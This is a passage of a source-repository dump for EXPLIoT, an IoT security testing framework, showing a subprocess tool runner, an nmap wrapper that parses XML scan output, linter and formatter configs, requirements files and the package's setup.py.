| """ 32 | Run the command as a child with the specified arguments 33 | 34 | Args: 35 | args(str): The arguments to be supplied to the command. 36 | timeout(int): The timeout in seconds while waiting 37 | for the output. Default is None. For details check 38 | subprocess.Popen() timeout argument. 39 | Returns: 40 | tuple of bytes: Tuple of standard output and standard error 41 | (stdout,stderr). It returns bytes because encoding, error, 42 | text arguments of Popen are not specified. 43 | Raises: 44 | FileNotFoundError: In case the tool path/name cannot be found or 45 | executed. This is actually raised by subprocess.Popen 46 | """ 47 | 48 | cmd = "{} {} {}".format(self.path, self.default_args, args) 49 | proc = None 50 | try: 51 | proc = Popen(split(cmd), stdout=PIPE, stderr=PIPE) 52 | (out, err) = proc.communicate(timeout=timeout) 53 | finally: 54 | if proc: 55 | proc.kill() 56 | return (out, err) 57 | -------------------------------------------------------------------------------- /expliot/utils/nmap.py: -------------------------------------------------------------------------------- 1 | """nmap utility.""" 2 | 3 | import xmltodict 4 | from expliot.utils import Tool 5 | 6 | NOTIMEOUT = 0 7 | 8 | 9 | class Nmap(Tool): 10 | """ 11 | Nmap tool execution class. 12 | """ 13 | 14 | def __init__(self, path="nmap", default_args="-oX -"): 15 | """ 16 | Initialize the Nmap Tool object 17 | 18 | Args: 19 | path(str): The full path (or the name) of nmap. Default 20 | is "nmap" 21 | default_args(str): Any default args that should always be 22 | part of the nmap arguments. Default is xml output argument 23 | "-oX -". 24 | """ 25 | super().__init__(path, default_args=default_args) 26 | 27 | def run_xmltodict_output(self, args, timeout=None): 28 | """ 29 | Run the command as a child with the specified arguments 30 | and return the output as a dict along with the error if any. 31 | The xml to dict format is generated by xmltodict package which 32 | is based on the format specified here - 33 | https://www.xml.com/pub/a/2006/05/31/converting-between-xml-and-json.html 34 | 35 | Args: 36 | args(str): The arguments to be supplied to nmap. 37 | timeout(int): The timeout in seconds while waiting 38 | for the output. Default is None. For details check 39 | subprocess.Popen() timeout argument. 40 | Returns: 41 | tuple of dict,str: Tuple of xml output converted to dict 42 | and error converted from bytes to str. 43 | (stdout,stderr) 44 | """ 45 | out, err = self.run(args, timeout=timeout) 46 | err = err.decode() if err else None 47 | if not out: 48 | if not err: 49 | err = "No output received from nmap" 50 | else: 51 | out = xmltodict.parse(out, dict_constructor=dict) 52 | return (out, err) 53 | -------------------------------------------------------------------------------- /pylintrc: -------------------------------------------------------------------------------- 1 | [MASTER] 2 | ignore=tests 3 | 4 | [BASIC] 5 | good-names=i,j,k,ex,Run,_,fp 6 | 7 | [MESSAGES CONTROL] 8 | # Reasons disabled: 9 | # format - handled by black 10 | # locally-disabled - it spams too much 11 | # duplicate-code - unavoidable 12 | # cyclic-import - doesn't test if both import on load 13 | # abstract-class-little-used - prevents from setting right foundation 14 | # unused-argument - generic callbacks and setup methods create a lot of warnings 15 | # global-statement - used for the on-demand requirement installation 16 | # redefined-variable-type - this is Python, we're duck typing! 17 | # too-many-* - are not enforced for the sake of readability 18 | # too-few-* - same as too-many-* 19 | # abstract-method - with intro of async there are always methods missing 20 | # inconsistent-return-statements - doesn't handle raise 21 | # not-an-iterable - https://github.com/PyCQA/pylint/issues/2311 22 | # unnecessary-pass - readability for functions which only contain pass 23 | disable= 24 | format, 25 | abstract-class-little-used, 26 | abstract-method, 27 | cyclic-import, 28 | duplicate-code, 29 | global-statement, 30 | inconsistent-return-statements, 31 | locally-disabled, 32 | not-an-iterable, 33 | not-context-manager, 34 | redefined-variable-type, 35 | too-few-public-methods, 36 | too-many-arguments, 37 | too-many-branches, 38 | too-many-instance-attributes, 39 | too-many-lines, 40 | too-many-locals, 41 | too-many-public-methods, 42 | too-many-return-statements, 43 | too-many-statements, 44 | unnecessary-pass, 45 | unused-argument 46 | 47 | [REPORTS] 48 | reports=no 49 | 50 | [TYPECHECK] 51 | # For attrs 52 | ignored-classes=_CountingAttr 53 | 54 | [FORMAT] 55 | expected-line-ending-format=LF 56 | 57 | [EXCEPTIONS] 58 | overgeneral-exceptions=Exception,HomeAssistantError 59 | -------------------------------------------------------------------------------- /pyproject.toml: -------------------------------------------------------------------------------- 1 | [tool.black] 2 | target-version = ['py37'] 3 | include = '\.pyi?$' 4 | exclude = ''' 5 | 6 | ( 7 | /( 8 | \.eggs # exclude a few common directories in the 9 | | \.git # root of the project 10 | | \.hg 11 | | \.mypy_cache 12 | | \.tox 13 | | \.venv 14 | | _build 15 | | buck-out 16 | | build 17 | | dist 18 | )/ 19 | 20 | ) 21 | ''' 22 | -------------------------------------------------------------------------------- /requirements-dev.txt: -------------------------------------------------------------------------------- 1 | pre-commit 2 | isort 3 | black 4 | flake8 5 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | # EXPLIoT requirements. Maintained in setup.py. 2 | . 3 | -------------------------------------------------------------------------------- /setup.cfg: -------------------------------------------------------------------------------- 1 | [tool:pytest] 2 | testpaths = tests 3 | norecursedirs = .git testing_config 4 | 5 | [flake8] 6 | exclude = .venv,.git,.tox,docs,venv,bin,lib,deps,build 7 | ignore = E203, E266, E501, W503, F403, F401 8 | max-complexity = 18 9 | select = B,C,E,F,W,T4,B9 10 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | """Setup script for EXPLIoT.""" 3 | import os 4 | 5 | from setuptools import find_packages, setup 6 | 7 | import expliot.constants as expliot_const 8 | 9 | here = os.path.abspath(os.path.dirname(__file__)) 10 | 11 | with open(os.path.join(here, "README.md"), encoding="utf-8") as readme_file: 12 | long_description = readme_file.read() 13 | 14 | setup( 15 | name="expliot", 16 | version=expliot_const.__version__, 17 | url="https://expliot.io", 18 | license="AGPLv3+", 19 | author="Aseem Jakhar", 20 | author_email="aseemjakhar@gmail.com", 21 | description="Expliot - IoT security testing and exploitation framework", 22 | long_description=long_description, 23 | long_description_content_type="text/markdown", 24 | packages=find_packages(), 25 | entry_points={"console_scripts": ["expliot=expliot.expliot:EfCli.main"]}, 26 | install_requires=[ 27 | "aiocoap>=0.3,<2", 28 | "AWSIoTPythonSDK>=1.4.8,<2", 29 | "bluepy>=1.3.0,<2", 30 | "cmd2>=1.1.0,<2", 31 | "cryptography>=3.0,<4", 32 | "paho-mqtt>=1.5.0,<2", 33 | "pyi2cflash>=0.2.2,<1", 34 | "pymodbus>=2.3.0,<3", 35 | "pynetdicom>=1.5.1,<2", 36 | "pyparsing>=2.4.7,<3", 37 | "pyserial>=3.4,<4", 38 | "pyspiflash>=0.6.3,<1", 39 | "python-can>=3.3.3,<4", 40 | "UPnPy>=1.1.8, <1.2", 41 | "xmltodict>=0.12.0,<1", 42 | "zeroconf>=0.30,<0.40", 43 | ], 44 | python_requires=">=3.7", 45 | classifiers=[ 46 | "Development Status :: 3 - Alpha", 47 | "Intended Audience :: Developers", 48 | "Intended Audience :: Information Technology", 49 | "Intended Audience :: System Administrators", 50 | "License :: OSI Approved :: GNU Affero General Public License v3 or later (AGPLv3+)", 51 | "Natural Language :: English", 52 | "Operating System :: POSIX :: Linux", 53 | "Programming Language :: Python :: 3.7", 54 | "Programming Language :: Python :: 3.8", 55 | "Programming Language :: Python :: 3.9", 56 | "Programming Language :: Python :: 3.10", 57 | "Topic :: Security", 58 | "Topic :: Software Development :: Embedded Systems", 59 | "Topic :: Software Development :: Testing", 60 | ], 61 | keywords="IoT IIot security hacking expliot exploit framework", 62 | ) 63 | --------------------------------------------------------------------------------